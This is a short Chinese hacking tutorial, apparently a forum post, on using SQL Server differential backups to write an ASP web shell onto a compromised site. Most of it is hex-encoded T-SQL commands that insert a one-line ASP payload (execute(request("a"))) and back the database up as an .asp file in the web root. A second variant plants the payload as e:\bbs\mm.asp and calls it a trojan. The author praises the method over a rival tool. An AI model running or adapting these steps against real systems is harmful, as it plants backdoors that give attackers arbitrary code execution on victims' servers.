利用差异备分来提高backupshell的成功率:
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[allyesno] ([cmd] [image]);
insert into allyesno(cmd) values (0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
e:\web\wokao.asp
0x710071002E00620061006B00 qq.bak
这里只要编个马,就可以了!如下,利用kker的小木马:
0x7400280022006B006B00650072002200290025003E00
<%execute request("kker")%>
0x65003A005C006200620073005C006D006D002E00610073005C006D006D002E00610073007000
e:\bbs\mm.asp(在站点目录e:\bbs下建立一个mm.asp)
这种备分方法大大超过臭要饭的!那个程序(他那个程序成功率很低)
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